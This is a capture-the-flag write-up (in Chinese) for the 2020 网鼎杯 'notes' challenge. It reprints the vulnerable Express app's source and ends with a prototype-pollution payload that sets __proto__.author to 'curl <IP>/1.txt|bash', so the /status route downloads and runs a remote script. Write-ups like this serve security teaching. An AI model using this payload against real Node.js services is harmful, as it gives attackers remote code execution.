[网鼎杯 2020 青龙组]notes-解题步骤详解

var express = require('express');var path = require('path');const undefsafe = require('undefsafe');const { exec } = require('child_process');

var app = express();class Notes {    constructor() {        this.owner = "whoknows";        this.num = 0;        this.note_list = {};    }
    write_note(author, raw_note) {        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};    }
    get_note(id) {        var r = {}        undefsafe(r, id, undefsafe(this.note_list, id));        return r;    }
    edit_note(id, author, raw) {        undefsafe(this.note_list, id + '.author', author);        undefsafe(this.note_list, id + '.raw_note', raw);    }
    get_all_notes() {        return this.note_list;    }
    remove_note(id) {        delete this.note_list[id];    }}
var notes = new Notes();notes.write_note("nobody", "this is nobody's first note");

app.set('views', path.join(__dirname, 'views'));app.set('view engine', 'pug');
app.use(express.json());app.use(express.urlencoded({ extended: false }));app.use(express.static(path.join(__dirname, 'public')));

app.get('/', function(req, res, next) {  res.render('index', { title: 'Notebook' });});
app.route('/add_note')    .get(function(req, res) {        res.render('mess', {message: 'please use POST to add a note'});    })    .post(function(req, res) {        let author = req.body.author;        let raw = req.body.raw;        if (author && raw) {            notes.write_note(author, raw);            res.render('mess', {message: "add note sucess"});        } else {            res.render('mess', {message: "did not add note"});        }    })
app.route('/edit_note')    .get(function(req, res) {        res.render('mess', {message: "please use POST to edit a note"});    })    .post(function(req, res) {        let id = req.body.id;        let author = req.body.author;        let enote = req.body.raw;        if (id && author && enote) {            notes.edit_note(id, author, enote);            res.render('mess', {message: "edit note sucess"});        } else {            res.render('mess', {message: "edit note failed"});        }    })
app.route('/delete_note')    .get(function(req, res) {        res.render('mess', {message: "please use POST to delete a note"});    })    .post(function(req, res) {        let id = req.body.id;        if (id) {            notes.remove_note(id);            res.render('mess', {message: "delete done"});        } else {            res.render('mess', {message: "delete failed"});        }    })
app.route('/notes')    .get(function(req, res) {        let q = req.query.q;        let a_note;        if (typeof(q) === "undefined") {            a_note = notes.get_all_notes();        } else {            a_note = notes.get_note(q);        }        res.render('note', {list: a_note});    })
app.route('/status')    .get(function(req, res) {        let commands = {            "script-1": "uptime",            "script-2": "free -m"        };        for (let index in commands) {            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {                if (err) {                    return;                }                console.log(`stdout: ${stdout}`);            });        }        res.send('OK');        res.end();    })

app.use(function(req, res, next) {  res.status(404).send('Sorry cant find that!');});

app.use(function(err, req, res, next) {  console.error(err.stack);  res.status(500).send('Something broke!');});

const port = 8080;app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

app.route('/status')    .get(function(req, res) {        let commands = {            "script-1": "uptime",            "script-2": "free -m"        };        for (let index in commands) {            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {                if (err) {                    return;                }                console.log(`stdout: ${stdout}`);            });        }        res.send('OK');        res.end();    })

/edit_note下可以传三个参数，id author enoteapp.route('/edit_note')    .get(function(req, res) {        res.render('mess', {message: "please use POST to edit a note"});    })    .post(function(req, res) {        let id = req.body.id;        let author = req.body.author;        let enote = req.body.raw;        if (id && author && enote) {            notes.edit_note(id, author, enote);            res.render('mess', {message: "edit note sucess"});        } else {            res.render('mess', {message: "edit note failed"});        }    })

class Notes {    constructor() {        this.owner = "whoknows";        this.num = 0;        this.note_list = {};    }
    write_note(author, raw_note) {        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};    }
    get_note(id) {        var r = {}        undefsafe(r, id, undefsafe(this.note_list, id));        return r;    }
    edit_note(id, author, raw) {        undefsafe(this.note_list, id + '.author', author);        undefsafe(this.note_list, id + '.raw_note', raw);    }

id=__proto__&author=curl 174.0.112.218/1.txt|bash&raw=123